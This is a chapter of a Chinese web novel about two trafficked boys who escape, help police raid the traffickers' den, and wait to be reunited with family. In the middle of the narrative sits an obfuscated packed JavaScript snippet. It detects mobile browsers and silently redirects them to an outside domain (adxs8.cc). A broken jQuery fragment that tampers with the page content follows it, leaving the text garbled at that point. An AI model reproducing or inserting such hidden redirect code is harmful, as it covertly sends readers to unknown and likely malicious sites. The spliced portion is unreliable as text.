原地休息了大约一个多小时,恢复了些许体力,祁宇知道他们不能一直躲在这个偏僻的小院里。


    如果人贩子回过神来,一定还会回来继续搜查这里,到时候他们就危险了。


    所以他们必须尽快离开,只有找到警察局他们才能真正安全。


    “小辉,我们得去警察局报警,只有警察叔叔能帮我们。”祁宇压低声音说道,他依然不敢大声说话,不敢有丝毫放松,在没有真


    正安全之前,他和小辉都必须时刻保持警惕。


    “可是,我们不知道警察局在哪里啊!”小辉害怕的说。


    祁宇想了想,说:“现在天还没亮,不能再走小路了,我们沿着大路走,遇上人就问,一定能找到的,人贩子肯定还会继续找我


    们,在人贩子找到我们之前,我们要尽快找到警察局。”


    于是,他们小心翼翼的走出院子,沿着之前来的路往回走,重新走回大路。


    夜晚的街道冷冷清清,偶尔才会有一辆车经过,车灯在黑暗中一闪一闪,如同鬼魅的眼睛。


    他们沿着街道一直走着,没多久遇上了一个拾荒的老人。


    心里带着几分忐忑,祁宇不得不鼓起勇气走上前:“老爷爷,请问警察局该怎么走?”


    老人上下打量着他们一番,眼里露出一丝警惕:“你们两个孩子大晚上的怎么在外面,警察局离这里不远。”


    “老爷爷,求您帮帮我们,我们是被人贩子拐卖的孩子,好不容易才逃出来,想要找警察叔叔帮忙。”祁宇简单的挑重点给老人讲


    了一下他们的来历。


    老人听了从警觉变成了同情。


    “可怜的孩子,你们王前走两个路口,在右转,就能看到警察局的牌子,你们快去吧。”


    和小辉谢过了老人,两小继续赶路,脚步也加快了许多,恨不得立刻飞到目标地点。


    他们的肚子早就已经饿扁了,咕咕的叫个不停,体力消耗的也更快了,可他们不能停下,也没有资格停下。


    身上虽然又冷又累,但他们心里却是热的,彼此都充满了对未来的期望。


    沿着拾荒老人给他们指的方向走,他们终于看到了警察局门口明亮的灯光。


    祁宇和小辉相视一眼,眼中透露出胜利的喜悦,兴奋的跑了过去,冲进了警察局,这一刻前所未有的安全感和温暖感包围了他们。


    虽然是夜晚,但警察局还是有值班的警察。


    值班的警察看到两个衣不蔽体,瘦骨嶙峋的孩子,脸色一变立刻迎了上去。


    “小朋友,你们怎么了?”一位年轻的警官关切的询问道。


    态度温和无比,丝毫不像平时他们见到的那些对他们无比厌恶的行人。


    祁宇像是吃下了一颗定心丸,颤声把他们的遭遇一五一十的说了出来,说到伤心处,忍不住低低哭泣起来。


    警察听完脸色变得十分严肃,没想到人贩子居然这么猖獗可恶。


    “孩子们,你们别害怕,叔叔一定会帮你们的。”年轻警察安慰道。


    随后,年轻警察迅速的打电话向上级汇报了具体情况。


    随着祁宇两人的报案,警察局立刻忙碌起来,警笛声划破了夜空。


    黑暗的灯光下,一队警察在祁宇和小辉的带领下,行动迅猛的朝着人贩子的窝点出发。


    警车上,细心的警察们给他们泡了热腾腾的方便面垫垫饥饿的肚子,还给他们披上了防寒的衣裳。


    好些年没有吃过一顿正常的食物的祁宇和小辉默默留下了眼泪,他们得救了。


    警觉的人贩子已经准备带着那些孩子逃跑时,警察已经包围了人贩子的魔窟。


    “不许动!警察!”警察们如神兵天降,果敢的冲进了工厂。


    人贩子们惊慌失措,试图反抗,几声惨叫过后,很快就被警察制服了。


    所有的孩子都被拯救了出来,他们绝望空洞的眼神中终于有了一丝光彩,泪水从一双双大的吓人的眸子里涌出来,哭泣声响成一


    片。


    人贩子被一网打尽的时候,天已经亮了,祁宇和小辉被带回了警察局。


    警察局给他们拿来了更多的食物和热水,还给他们找来棉被暖和身子。


    吃饱喝足之后又让他们在一个五脏俱全的小房间里睡了一觉。


    这里有温暖柔软散发着清香的棉被,有干净整洁的毛巾。


    等他们睡醒以后,一位中年警察带着他们去卫生间洗澡。


    因为身上实在太脏了,两人的脸脏的几乎看不出长什么样,这样是没办法帮他们找亲人的。


    在那个工厂里,人贩子可不会好心的给他们提供洗脸的水,能有一口喝的水保证他们不会因为口渴而死就算不错了。


    帮祁宇脱掉已经看不出颜色和形状的破烂衣裳,中年警察看着祁宇身上的伤疤倒吸了口气。


    祁宇四岁被拐,如今十二岁,在人贩子手上整整被虐待了八年,瘦弱的像个六七岁的孩子,全身没有二两肉,到处都是狰狞的伤


    痕,新的旧的遍布全身,没有一块儿好肉。


    有烟头烫伤,有刀伤,有鞭痕,有……


    膝盖上还有昨夜的摔伤,血淋淋的让中年警察差点落泪,那些人贩子真的是丧心病狂,都是父母养的,这么小的孩子怎么忍心这么


    对待。


    小辉到人贩子手上的时间还算短,没有那么多伤,但也不算少,他的身体能比祁宇稍微好一点,但也足够让人泪崩。


    中年警察不知道该怎么给他们洗澡了,怕不小心弄疼他们,不得不出去找来了一位细心的女警察帮忙。


    这位女警察结过婚,家里有自己的孩子,比他这种快三十岁,至今单身的钢铁直男懂得怎么照顾孩子。


    女警察是一边流泪一边给他们洗澡的。


    中年男警察在一旁帮忙配合,小心翼翼的避开他们的新伤痕。


    洗完之后还贴心的用绷带和碘伏给祁宇简单处理了一下膝盖上的伤。


    “小朋友,你们还记得自己的家在哪里吗?”那位帮他们洗澡的女警察温柔的问。


    祁宇努力的回忆着,时隔六年,多了一世记忆的祁宇并不像正常的孩子一样会什么都不记得,他穿越过来的时候原身不过四岁,记


    忆少得可怜,祁宇能记起来的不多。


    “我记得我家在一个小县城,名字不知道,附近有座山叫幕府山,我有一个姥姥,妈妈在生下我之后就去世了,奶奶说我有个爸爸


    叫祁同伟,不过从来没见过。”


    小辉也哭着说:“我不记得我家在哪里,我只记得我爸爸妈妈的样子。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172618|165165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    祁宇提供的线索还算清晰,警察们迅速的根据这些线索展开调查,倒是小辉几乎无法提供线索,只能通过各大媒体和照片去寻找他


    的亲人。


    叫祁同伟的人很多,但幕府山附近的小县城却是一个重要的线索。


    在之后的半个多月里,警察为了尽快帮他他们找到亲人,通过审问人贩子得到的一些线索,又发动了社会各界媒体的力量。


    很快,祁宇他们的故事就在报纸和电视上引起了社会各界的关注。


    许多热心市民纷纷打来电话,提供线索。


    第二十三天下午,小辉的爸爸妈妈终于找来了,小辉失踪那年才八岁,原来,自从小辉被拐两年来,他的爸爸妈妈一直没有放弃寻


    找小辉,甚至在全国各地打广告,从他们的衣着来看,小辉的家庭条件不错,不然也没能力把广告打到全国两年之久,所以得到消


    息之后就连夜坐着火车从长沙赶来。


    祁宇看着小辉哭着被一对年轻夫妇抱在怀里,也欣慰的落下了眼泪。


    他对自己能不能找到亲人其实不报多少希望。


    当年他家里就只有一个奶奶,记忆里奶奶年纪大了,身体又不太好,能不能等到他回家都是一个未知数。


    至于传说中的父亲,据说是他妈妈未婚先孕,备受外界言论压力的妈妈生下他之后就去了,父亲也不曾有半点音讯。


    终究是要面临分别的,小辉的爸爸妈妈得知祁宇很照顾小辉的事后很感激,给祁宇买了一身新衣裳,又给他买了一箱牛奶。


    “祁宇哥哥,你跟我一起回家好不好,我爸爸妈妈还有我都会照顾你的。”小辉抽抽搭搭的红着眼圈道。


    天下无不散之宴席,看着小辉眼泪朦胧的样子,祁宇心中虽然不舍,但他们终究要面对现实,轻轻抱了抱小辉,说:“小辉,我也


    很想和你一起,但是我也要找我的亲人,你和你爸爸妈妈回家吧,要好好听话,等我们长大了一定会再见的,别哭。”


    小辉抽抽嗒嗒的看着祁宇,眼泪却像决堤一样:“祁宇哥哥,那你一定要好好的,等我们长大了,我一定来找你,我会想你的,你


    也不要忘记我,你一定要记得我,我叫周小辉。”


    “嗯,小辉,我们都要好好的,我们拉勾。”祁宇伸出小拇指,与小辉拉勾约定长大在见。


    望着小辉一步三回头的和他的父母离开警局,祁宇一直站在原地,微笑着回应,直到看不到他们的身影。


    回到警局给他提供的临时宿舍,祁宇看着小辉刚刚坐过的地方,心里空落落的。


    这两年,如果没有小辉的陪伴,他可能坚持不到现在。


    虽然小辉走了,但他并不觉得伤感,他为他感到高兴,也对自己的未来充满了希望。


    至少他已经能站在阳光下,他从那个地狱一般的魔窟走出来了。


    在接下来的日子里,陆陆续续的又有一些孩子找到了亲人,被亲人带走。


    祁宇的家乡也找到了,坏消息是祁宇的奶奶已经在四年前去世,如今老家已经没有他的亲人。


    警察也一直没有放弃寻找他的父亲,一直在行动,甚至有一位三十好几结婚十年却没有孩子的警察,考虑着如果实在找不到祁宇的


    父亲,干脆他收养祁宇得了。